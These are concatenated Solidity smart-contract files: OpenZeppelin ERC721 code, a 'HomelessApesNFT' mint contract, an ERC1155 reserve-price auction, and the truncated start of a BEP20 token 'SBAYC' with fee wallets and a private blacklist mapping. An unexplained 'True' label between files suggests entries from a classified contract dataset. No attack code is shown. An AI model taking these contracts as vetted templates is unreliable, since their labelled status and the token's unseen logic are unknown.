function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/HomelessApesNFT.sol
// Amended by HomelessApes.com
pragma solidity >=0.7.0 <0.9.0;
contract HomelessApesNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 20;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
} | True | [
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC1155 {
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
}
contract EnglishAuctionReservePrice {
using SafeMath for uint256;
using SafeMath for uint8;
// System settings
uint8 public percentageIncreasePerBid;
uint256 public hausFeePercentage;
uint256 public tokenId;
address public tokenAddress;
bool public ended = false;
address public controller;
address public deployer;
// Current winning bid
uint256 public lastBid;
address payable public winning;
uint256 public length;
uint256 public minimumStartTime;
uint256 public startTime;
uint256 public endTime;
address payable public haus;
address payable public seller;
event Bid(address who, uint256 amount);
event Won(address who, uint256 amount);
constructor(
uint256 _tokenId,
address _tokenAddress,
uint256 _reservePriceWei,
uint256 _minimumStartTime,
uint8 _hausFeePercentage,
uint8 _percentageIncreasePerBid,
address _sellerAddress,
address _hausAddress,
address _controllerAddress
) public {
tokenAddress = address(_tokenAddress);
tokenId = _tokenId;
lastBid = _reservePriceWei;
hausFeePercentage = _hausFeePercentage;
percentageIncreasePerBid = _percentageIncreasePerBid;
seller = payable(_sellerAddress);
haus = payable(_hausAddress);
controller = _controllerAddress;
minimumStartTime = _minimumStartTime;
deployer = msg.sender;
}
function bid() public payable {
require(msg.sender == tx.origin, "no contracts");
require(block.timestamp >= minimumStartTime, "Bidding has not opened");
// Give back the last bidders money
if (winning != address(0)) {
require(block.timestamp >= startTime, "Auction not started");
require(block.timestamp < endTime, "Auction ended");
uint8 base = 100;
uint256 multiplier = base.add(percentageIncreasePerBid);
require(msg.value >= lastBid.mul(multiplier).div(100), "Bid too small"); // % increase
winning.transfer(lastBid);
} else {
require(msg.value >= lastBid, "Bid too small"); // no increase required for reserve price to be met
// First bid, reserve met, start auction
startTime = block.timestamp;
length = 24 hours;
endTime = startTime + length;
}
if (endTime - now < 15 minutes) {
endTime = now + 15 minutes;
}
lastBid = msg.value;
winning = msg.sender;
emit Bid(msg.sender, msg.value);
}
function end() public {
require(!ended, "end already called");
require(winning != address(0), "no bids");
require(!live(), "Auction live");
// transfer erc1155 to winner
IERC1155(tokenAddress).safeTransferFrom(address(this), winning, tokenId, 1, new bytes(0x0)); // Will transfer IERC1155 from current owner to new owner
uint256 balance = address(this).balance;
uint256 hausFee = balance.div(100).mul(hausFeePercentage);
haus.transfer(hausFee);
seller.transfer(address(this).balance);
ended = true;
emit Won(winning, lastBid);
}
function pull() public {
require(msg.sender == controller, "must be controller");
require(!ended, "end already called");
require(winning == address(0), "There were bids");
require(!live(), "Auction live");
// transfer erc1155 to seller
IERC1155(tokenAddress).safeTransferFrom(address(this), seller, tokenId, 1, new bytes(0x0));
ended = true;
}
function live() public view returns(bool) {
return block.timestamp < endTime;
}
function containsAuctionNFT() public view returns(bool) {
return IERC1155(tokenAddress).balanceOf(address(this), tokenId) > 0;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
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//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IBEP20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract Context {
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = msg.sender ;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Detailed {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory tname, string memory tsymbol, uint8 tdecimals) {
_name = tname;
_symbol = tsymbol;
_decimals = tdecimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeBEP20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SBAYC is Context, Ownable, IBEP20, BEP20Detailed {
using SafeBEP20 for IBEP20;
using Address for address;
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private AMMs;
mapping (address => bool) private isTimelockExempt;
mapping (address => bool) private isExcludedFromMaxTx;
mapping (address => bool) private isExcludedFromMaxWallet;
mapping (address => bool) private _isBlacklisted;
uint256 internal _totalSupply;
uint256 public marketingFee = 5;
uint256 public utilityFee = 5;
uint256 public teamFee = 2;
address payable public marketingaddress = payable(0x5Aa12CE89d24c52BaC4560a27153b41e24b01526);
address payable public utilityAddress = payable(0x14334B527FEBC947B1a496BF9C69d7F11786b018);
